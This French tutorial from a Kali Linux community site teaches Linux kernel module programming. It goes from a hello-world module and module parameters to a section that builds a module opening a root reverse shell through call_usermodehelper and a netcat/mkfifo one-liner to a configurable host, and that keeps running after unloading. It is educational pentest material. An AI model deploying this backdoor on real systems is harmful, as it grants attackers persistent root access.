Kali-linux distribution GNU/Linux spécialisée dans l'audit et le pentest.
Kali-linux.fr Communauté française de kali-linux
linux les modules kernel

“Ils nous prend vraiment pour des pingouins de la dernière pluie celui la, il va quand même pas nous faire un cours sur linux ?”

Heu…. et si je vous dis que si, mais qu’en plus de ça je vais probablement vous apprendre quelque chose !?

“Tu nous intrigue ! On t’écoute !”

Bienvenue à tous pour ce nouveau tuto, alors je sais que pour un site de cybersécurité vous devez vous dire que ce tuto n’a pas vraiment lieu d’être vu que vous connaissez probablement déjà Linux.

L’objectif de cette série est plutôt de vous faire découvrir des aspects peu connus de Linux pour justement vous donner des idées et des axes pour progresser dans la sécurité, et pour ce faire nous devons d’abord comprendre comment notre OS favoris fonctionne !

Après quoi je vous donnerais des pistes/idées pour lier ça à la sécurité et vous amuser un peu.

Nous allons donc aujourd’hui aborder les modules du kernel Linux ! C’est parti allons-y !

Pour ce tuto vous aurez besoin :

  • D’une distribution Linux (non jure…) (pour ce tuto j’utiliserai kali 5.5.0-kali2-amd64)
  • Des bases en C
  • Des bases de l’utilisation de Linux et de son fonctionnement
  • Des bases en compilation

Petit disclaimer : Toucher au kernel est une tâche complexe et qui peut mener à une instabilité du kernel et donc à un kernel panic, bien que ce tutoriel soit écrit par des professionnels cascadeurs experts, la moindre petit erreur peut jouer sur votre système. Je vous conseille ainsi soit de sauvegarder vos données en amont, ou tout simplement de suivre ce tuto sur une machine virtuelle.

I) Le kernel, kékécé ?

Si vous utilisez linux, vous n’êtes peut être pas pour autant familier avec le concept de kernel , le kernel est le mot anglais pour “noyau” en français, néanmoins dans ce tuto nous utiliserons le terme kernel car souvent préféré et plus largement utilisé, donc voici ce que nous dit le très célèbre professeur Wikipédios sur le sujet :

Le noyau (kernel) est le cœur du système, c’est lui qui s’occupe de fournir aux logiciels une interface de programmation pour utiliser le matériel. Le noyau Linux a été créé en 1991 par Linus Torvalds pour les compatibles PC.

Wikipédia

Vous l’aurez compris le kernel est le centre de tout le fonctionnement de votre distribution favorite, quelque soit celle que vous utilisez.

le kernel Linux est principalement codé en C et en assembleur et contient plusieurs millions de lignes de code.

“Ouais et donc ? nous on est que des pauvres utilisateurs on veut pas toucher à ces millions de lignes de codes , c’est encore une affaire de barbus ça !”

Vous n’avez pas tort dans un sens, il est vrai que aborder le code source du kernel peut être difficile, mais heureusement il existe une solution pour pouvoir dialoguer et utiliser votre kernel pour effectuer des tâches, ce sont les modules kernel !

II) Les modules ne sont pas nuls

Une fois n’est pas coutume , professeur ?

Dans un système d’exploitation, un module est une partie du noyau qui peut être intégrée pendant son fonctionnement. Le terme anglais généralement employé pour les désigner est Loadable Kernel Module, abrégé LKM, ou (en français : « module de noyau chargeable »). Cette fonctionnalité existe dans les noyaux Linux et les noyaux BSD. C’est une alternative aux fonctionnalités compilées dans le noyau, qui ne peuvent être modifiées qu’en relançant le système.

Wikipédia

J’utiliserai le terme module pour ce tuto pour plus de facilités.

“Ouais mais concrètement ça sert à quoi ?”

Bah plus simplement cela permet d’intégrer directement au kernel des choses en plus pour votre confort par exemple des modules d’optimisations, mais aussi pour effectuer toute sortes de tâches mais le tout dans la partie kernel de la mémoire,et le tout sans même avoir besoin de faire des dizaines de reboot pour tester votre module. Cela est beaucoup plus flexible, à savoir que ces modules peuvent être chargés et/ou déchargés en une commande. De plus cela permets également d’éxecuter des taches avec le niveau de privilèges kernel, donc tout est possible !

Petit rappel sur les niveaux de droits dans un système linux :

“Je vois donc le kernel a absolument tout les droits sur le système !”

Plus exactement… le kernel EST le système ! Ainsi le kernel a accès à toute la mémoire du système, que ce soit la partie kernel(ce qui parait logique…) mais aussi les parties utilisateurs et même directement discuter avec le matériel (hardware).

Petit rappel de la différence entre espace utilisateur et espace kernel :

Nous allons donc mettre les doigts dans le cambouis et nous allons écrire ensemble un module kernel absoluuument révolutionnaire et nous allons voir comment l’utiliser après l’avoir codé nous même !

III) Que la lumière soit….

Comme expliqué plus haut, le kernel est majoritairement écrit en C (pour faire simple), ainsi nous allons donc…

“Programmer un module en Java ?”

………… piugfîyzgeufygpufygazepuifygapziuyfgapzeyfgaiyfgpaigefpiazgf

Hum.. reprenons, nous allons donc coder en C !

“Mais du coup comment on s’y prend pour ça ?”

Commençons simplement, premièrement il va nous falloir les includes suivant :

Ces trois includes vont nous permettre d’utiliser les fonctions des modules kernels

Une fois fait il va nous falloir ensuite créer deux fonction simples, une chargée d’initialiser le module et l’autre chargée de faire le ménage pour faire en sorte que le module se décharge bien et proprement (il est a noté que à ldéclarer ces deux fonctions ne suffisent pas à charger le module) :

Vous l’aurez remarqué, nous avons ici des macros particulières ‘__init’ et ‘__exit’ ces macros permettent au kernel de repérer la fonction d’initialisation pour réserver d’une part la mémoire, la chargé, et ensuite libérer la mémoire mais aussi les registres pour préparer les opérations futures (entre autre pour faire simple). C’est ainsi la première fonction qui va être éxécutée lors du chargement du module.

Pour plus de précisions referrez vous au fichier : include/linux/init.h dont voici un extrait :

Comme indiqué plus haut, ces fonctions ne suffisent pas à charger le module, pour ce faire il va falloir ajouter ceci :

“D’accord donc la tout est donc prêt pour que notre module soit chargée par le kernel ?”

En effet ! Nous avons un module pour le moins… minimaliste mais il est chargeable !

“Minimaliste ? Tu veux surtout dire qu’il ne fait absolument rien ?”

Heu… absolument oui….

“Bon dieu que ce tuto est vraiment pourr…”

Hop hop hop ! Ne vous inquiétez pas on va customiser ça !

Pour ce faire nous allons…. afficher du texte ! :

Normalement si vous avez déjà fait du C, vous devez vous douter de ce que fait cette fonction, en effet elle permet d’afficher du texte sur la console, mais sur la console du kernel. Le premier paramêtre ‘KERN_NOTICE’ permets de dire au kernel que le message est simplement un message informatif, mais d’autres types sont possibles :

extrait de ‘man printk’

Vous remarquerez que j’ai rajouté les type ‘void’ dans les paramètres de fonction, si vous ne le faite pas, vôtre programme ne compilera tout simplement pas, rien ne doit être laissé au hasard !

“D’ailleurs, comment fait on pour compiler un module kernel ?”

Très bonne question, il existe plusieurs manières de le faire, toutes les manières de le faire sont plus ou moins complexes, je vais donc vous présenter une méthode “rapide” et “simple”.

La méthode est la suivante, nous allons utiliser le make file suivant :

   source : https://tldp.org/LDP/lkmpg/2.6/html/x181.html

Pour faire simple ce makefile va nous permettre de ne pas se préoccuper à proprement parlé de notre version du kernel pour aller chercher les sources des includes nécessaires à la compilation.

Voici ainsi le code source que je vais compiler pour que vous puissiez l’avoir en entier :

#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>


static int __init tuto_init(void)
{
	printk(KERN_NOTICE "Best tuto\n");
	return 0;
}

static void __exit tuto_exit(void)
{
	printk(KERN_NOTICE "Le module s'est bien déchargé\n");
}

module_init(tuto_init);
module_exit(tuto_exit);

Compilons donc :

Un seul petit warning mais rien d’important pour le moment. On obtiens alors les fichiers suivants :

Le fichier qui nous intérèsse ici est ‘tuto.ko’ c’est nôtre module.

Maintenant nous allons pouvoir charger notre module, pour ce faire c’est très simple nous allons utiliser la commande suivante :

sudo insmod 'module.ko'

Dans mon cas :

“Je viens de faire pareil mais rien ne s’affiche sur mon terminal, c’est nul !”

Et bien cela est normal, en effet souvenez-vous plus haut nous avions utilisé la fonction ‘printk’ et celle-ci écrit sur la console certes… mais celle du kernel ! Ainsi si vous désirez vérifier que vôtre message s’affiche bien il faut regarder les logs kernel situés dans ‘/var/log/kern.log‘. Il est également possible d’utiliser ‘dmesg’ mais avec dmesg il sera plus difficile de suivre notre module car enormément d’informations sont affichées.

Et voilà cela a bien fonctionné !

Maintenant vérifions que tout se passe bien lorsqu’on le décharge , nous utiliserons la commande suivante :

sudo rmmod 'module'

Comme vous le remarquez, lorsqu’on décharge un module, son nom suffit pour l’identifier, ainsi pour moi cela donnera :

Et vérifions nos logs :

Parfait notre second message s’affiche bien !

Bravo à vous, vous venez de créer votre premier module kernel !

IV) Et la lumière fut… ou pas

Bon bon bon… c’est bien gentil tout ça mais , on va passer à la vitesse supérieure ! En effet nous ne sommes pas la juste pour afficher un texte !

Nous allons donc descendre un peu plus dans le système et voir ce que l’on peut faire, cela sera bien sur non exhaustif car concrètement nous pouvons faire ce que l’on veut…

Pour commencer simplement par une petit chose, il est possible d’ajouter des informations sur le module, votre nom, la licence de partage, la version….

Pour ce faire il suffit d’ajouter cela a notre code :

Ces informations ne sont pas directement visibles pour nos yeux, mais elles le seront si nous utilisons la commande modinfo :

modinfo 'module.ko'

Après avoir recompilé notre module voici ce que l’on pourra donc voir :

Il y a pleins d’autres informations que vous pouvez renseigner bien évidemment mais celles-ci seront suffisantes pour nous !

Nous allons maintenant, en prévision de la suite, s’intéresser aux passages de paramètres, en effet vous aller voir qu’il y a une méthode particulière pour passer des arguments en ligne de commande aux modules.

pour ce faire il existe une macro particulière nommée module_param().

module_param() prend trois arguments, le premier est le nom de la variable, le second est son type, et pour finir le type de permission accordé au fichier sans le système de fichier.

Par exemple si je définie une variable dans mon code :

Et que je souhaite l’afficher dans la console kernel :

En compilant de nouveau et en chargeant le module :

Donc la vous voyez que la valeur est celle que l’on a défini précédemment dans notre code, maintenant utilisons le passage d’argument !

Donc voici le code complet modifié pour ajouter la gestion du paramètre (vous remarquerez que l’on a besoin d’un include supplémentaire pour utiliser la macro module_param) :

#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/moduleparam.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("ZeR0");
MODULE_DESCRIPTION("The best LKM EVER MADE");
MODULE_VERSION("0.00");

int val = 12;
module_param(val, int, 0644);
static int __init tuto_init(void)
{
	printk(KERN_NOTICE "Ce tuto a une grande valeur : %d",val);
	return 0;
}

static void __exit tuto_exit(void)
{
	printk(KERN_NOTICE "Le module s'est bien déchargé\n");
}

module_init(tuto_init);
module_exit(tuto_exit);

Petite remarque concernant les droits (le troisième paramètre) , le format attendu par la macro est le même que celui à fournir à votre système Linux lorsque vous faite un chmod.

Recompilons le programme et regardons ce que nous montre la commande modinfo:

Vous remarquez la dernière ligne ? elle nous apprend que notre module prend un ‘int’ en paramètre, notre modification semble avoir fonctionné.

Maintenant chargeons notre module sans aucun argument :

Cela prend bien notre valeur définie par défaut, maintenant essayons de chargé notre module en passant l’argument :

insmod tuto.ko val=5

On vérifie bien :

Parfait ! vous voyez c’est simple ! petite précision au passage, pour décharger le module aucun argument en plus n’est nécessaire.

Je vais maintenant vous faire un petit point sur une autre manière de voir ces paramètres mais aussi vous montrer que il faut donner des droits corrects à tout vos fichiers, une bonne pratique en somme !

Une fois votre module chargé il est possible de trouver la valeur de ses paramètres en lisant le fichier suivant :

/sys/module/'votre module'/parameters/'votre argument'

Ainsi pour moi cela donnera :

Comme tout est fichier sur Linux, en tenant compte du fait que nous avons donné les droits ‘0644’ à notre ‘int’, il est possible de changer la valeur de cet argument directement de cette façon :

Pas très sécurisé pas vrai ? Faites attention à vos droits !

V) ..Finalement on va prendre une lampe

Bon maintenant que vous avez ces quelques informations basiques… On va vraiment passer au sérieux !

“Ouais mais tu nous a déjà dis ça tout à l’heure et on attend toujours.. !”

Hahaha ne vous inquiétez pas, je vous propose maintenant de voir comment….

“Comment…?”

Comment faire un reverse_tcp avec un module kernel !

“Wooow on veut voir !”

Aller on y va !

Disclaimer : Le but de cette partie et de voir ce qu’il est possible de faire, et d’apprendre, en aucun cas kali-linux.fr ou moi même ne serons tenu responsable de l’utilisation que vous allez en faire. N’oubliez pas que ce n’est qu’à but éducatif. Il est illégal de pénétrer sur l’ordinateur de quelqu’un et de maintenir un accès dessus.

#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/kmod.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("ZeR0");
MODULE_DESCRIPTION("The best LKM EVER MADE");
MODULE_VERSION("0.00");


static char *host = "REV_TCP_LH=127.0.0.1";
module_param(host, charp, 0000);
static char *port = "REV_TCP_LP=5631";
module_param(port, charp, 0000);


static int __init tuto_init(void)
{
	char *envp[] = {
				"HOME=/root",
				"TERM=xterm-256color",
				host,
				port,
				NULL
			};

	char *argv[] = {
				"/bin/bash",
				"-c",
				"/usr/bin/rm /tmp/zero;/usr/bin/mkfifo /tmp/zero;/usr/bin/cat /tmp/zero|/bin/sh -i 2>&1|/usr/bin/nc $REV_TCP_LH $REV_TCP_LP >/tmp/zero",
				NULL
			};
	call_usermodehelper(argv[0],argv,envp,UMH_WAIT_EXEC);
	printk(KERN_NOTICE "Module chargé et opérationnel");
	return 0;
}

static void __exit tuto_exit(void)
{
	printk(KERN_NOTICE "Le module s'est bien déchargé\n");
}

module_init(tuto_init);
module_exit(tuto_exit);

Voici le code que nous allons utiliser, voici en résumé ce qu’il fait :

Nous demandons au kernel d’utiliser une fonction du côté utilisateur, pour ce faire nous définissons un environnement dans la structure ‘envp’, elle contient les informations nécessaire à bash pour se lancer, pensez à l’adapter. Une fois fait nous définissons la commande en elle même dans ‘argv’, cette commande est connu vous l’avez déjà surement vu ailleurs, elle permet d’appeler netcat dans sa version non compilé avec le flag -e (de rien pour l’astuce au passage) mais de l’utiliser comme un reverse shell tcp.

Pour finir nous demandons à la macro call_usermodehelper() en lui donnant tout les arguments , à savoir l’environnement, la commande, et en dernier l’argument ‘UMH_WAIT_EXEC’ qui signifie que nous attendons que la commande s’exécute pour nous donner un retour de son status d’exécution, on s’assure ainsi que le programme est bien lancé.

Les arguments ‘host’ et ‘port ‘sont l’adresse IP et le port à joindre. Vous pouvez bien sur changez ces arguments en ligne de commande directement si vous le souhaitez vu qu’ils sont déclarés comme paramètre du module.

Maintenant testons ce shell !

On compile, puis on lance un netcat dans un terminal :

Maintenant on charge le module (ci-dessous je vous montre comment le charger avec les arguments , mais vous pouvez le charger sans arguments vu que le host et le port sont définis dans le code) :

insmod tuto.ko host="REV_TCP_LH=127.0.0.1" port="REV_TCP_LP=666"

Et….. :

On a un shell !

“Ouiiiiiiiiiiii”

Ah et ce n’est pas fini !

“Comment ça ?”

Et bien regardez, maintenant que vous avez votre shell, devinez quoi :

Et oui le shell est en root !

Deuxième chose marrante, si vous déchargez le module, vous garderez quand même l’accès. Pourquoi ? car le programme est chargé dans la mémoire du kernel (sous-entendu dans l’espace mémoire réservé au kernel) , et que nous n’avons pas pris soin (volontairement pour le coup) de libérer la mémoire au déchargement du module, ainsi le module continu à tourner en mémoire même après être déchargé ! Enfin tant que vous ne redémarrez pas du moins !

VI) La lumière au bout du tunnel aka la conclusion

Bravo à tous et merci d’avoir suivi ce tuto !

C’est difficile de parler de concepts aussi complexes et j’espère que il vous aura apprit des choses mais aussi divertit.

Pour ceux qui souhaitent aller plus loin, je vous conseille d’avancer pas à pas en vous renseignant sur des forums spécialisés dans la manipulation du kernel. Le kernel étant fragile et difficile à manipuler , surtout n’allez pas trop vite, cela pourrait vous couter une machine !

N’oubliez pas de surveiller vos modules, comme vous l’aurez compris j’espère au travers de ce tuto, il est possible de faire absolument ce que l’on veut grâce aux modules kernels. La preuve étant que nous pouvons lancer des processus côté utilisateur, ce qui nous a permis de récupérer un shell.

Pour ceux qui veulent aller plus loin, je vous conseille cet ouvrage : https://lwn.net/Kernel/LDD3/

Encore merci à tous et j’espère vous retrouver très bientôt pour un prochain tuto !

See you soon

ZeR0-@bSoLu

8 thoughts on “Linux : Les modules kernel”
  1. Bonjour,

    printk(KERN_NOTICE “Ce tuto a une grande valeur : %d”,val);
    j’ai trouvé qu’il lui fallait un “retour-chariot”, genre
    printk(KERN_NOTICE “Ce tuto a une grande valeur : %d\n”,val);
    Ainsi la commande cat /var/log/kern.log montre bien la valeur passée, quand on en passe une.

    Probable qu’il doit le falloir pour la partie V, que je n’ai que survolée.

    Bravo pour tout ça et grand merci !

    jp

  2. Super tuto !
    Sujet tres (trop) peu abordé généralement.
    Et l’exemple du reverse TCP est excellent.
    JD

Leave a Comment

Time limit is exhausted. Please reload CAPTCHA.